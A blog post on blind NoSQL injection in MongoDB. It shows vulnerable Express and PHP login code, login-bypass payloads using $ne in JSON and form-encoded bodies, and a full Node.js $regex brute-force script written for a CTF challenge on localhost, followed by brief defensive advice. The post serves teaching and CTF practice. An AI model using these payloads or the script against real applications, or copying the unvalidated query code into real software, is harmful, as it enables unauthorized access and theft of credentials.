MongoDB Security Part Two

In the last post I showed the MongoDB unauthorized access vulnerability, though it's easily ignored, but it can cause huge losses if it reveals something sensitive. And this post will talk about somthing about blind nosql injection in MongoDB.

In an early post I talked about traditional SQL injection and the defence. Actually, this classic attack is still wildly used in modern web applications. Not like traditional SQL, NoSQL like MongoDB eliminate the SQL language entirely and relay more on simple and structured query mechanism.

The SQL statement we used to query something like user login may like this in MongoDB:

db.users.find({user: username, pass: password});

We can see that it's no longer a query language in the form of a string, and we may think it can't be injected, and we may ignore the security of data, without check or filter. However, there are still many factors at play.

application/json

In HTTP 1.1, when post datas, header Content-Type has a MIME Type value called application/json, which will tell the server that the coming data is a JSON document. And some servers will know how to deal with the data. So what will happen if we post data like this:

{
    "username": {"$ne": ""},
    "password": {"$ne": ""}
}

If you use Express in node, your vulnerable code of the post request will look more or less like this:

app.use(require('body-parser').json()); // support application/json
app.post('/login', function (req, res) {
    db.users.find({user: req.body.username, pass: req.body.password}, function (err, users) {});
})

Actually, the result is we get this login bypass, that means, the nosql injection succeeds. So how it works? We post the username and password values a JSON document instead of a string, and the server-side receive the data without validation and parse it. In MongoDB, the field $ne has a special meaning, which is used as not equal to comparator. Hence, the username and password from the database will be compared to the empty string "" and the result will return true, just like the query in mongo shell below:

db.users.find({user: {"$ne":""}, pass: {$ne:""}})

OK, we just bypass the login using a JSON document, because the module body-parse used in Express supports json parse. In PHP, the data can't be operated directly, you should get the data from php://input, and then use json_decode to get object.

$input = file_get_contents("php://input");
$obj = json_decode($input); // and now we get the post obj
$cusor = $collection->find(array("user"=>$obj->username, "pass"=>$obj->password));

application/x-www-form-urlencoded

Actually, I use application/json to bypass the login above just for the clear explain about our nosql injection. And application/json is not used wildly, instead, we use application/x-www-form-urlencoded frequently. When we post data like this:

username[$ne]=''&password[$ne]=''

PHP will auto parse our data and the username and password field will be a array that contains the key $ne, and the inject happens. In Express, the string like username[$ne]='' will also be parsed by a module called qs, and the request will result into a javascript object like this:

{
    username: {$ne: ''},
    password: {$ne: ''}
}

It's the same as the object we used before, and the result is also the same. So we have got the login bypass already now. Actually, I enhance this nosql injection in hctf named lock(400). The source code of lock is available in github. I strongly recommend you should have a look about it.

Yeah, it's the same as something like login, but only the lock field is injectable and the password is hashed. However, we could get the information from source code comment that the key is the same as the lock. So our hack can be improved by using $regex in MongoDB.

lock[$regex]=''&pass=''

And now we can bruteforce it to get the correct password. The payload is below:

var request = require('request');
var util = require('util-crack');
var url = 'http://127.0.0.1:49090';
var ret = [];
var ret2 = [];

function LeftToRight (ret) {
  var s = util.random(null, 1);
  var lock = {"$regex": "^" + ret.join('') + s + "."}
  request.post(url, {form:{lock: lock, key: lock}}, function (err, res, body) {
    if (/Right/.test(body)) {
      ret.push(s);
      console.log('LeftToRight: ' + ret.join(''))
      LeftToRight(ret);
    } else {
      LeftToRight(ret);
    }
  });
}

function RightToLeft (ret2) {
  var s = util.random(null, 1);
  var lock = {"$regex": "." + s + ret2.join('') + "$"}
  request.post(url, {form:{lock: lock, key: lock}}, function (err, res, body) {
    if (/Right/.test(body)) {  
      ret2.unshift(s);
      console.log('RightToLeft: ' + ret2.join(''));
      RightToLeft(ret2);
    } else {
      RightToLeft(ret2);
    }
  });
}

LeftToRight(ret)
RightToLeft(ret2)

You can get the ultima right key and lock comparing the last LeftToRight and RightToLeft result.

End

So, we can see that it's easily get mongo injected if the server receive the data without any validation. Some measures can be available to defense such nosql inject attack.

  • Make sure the coming data is expected, always validate the data that user input.
  • Hash the sensitive data with salt.
  • Check strictly if you really want the coming data special such as a JSON document. Maybe you can have a look about mongo-sanitize

If you have something to correct, welcome to point it out:D

References: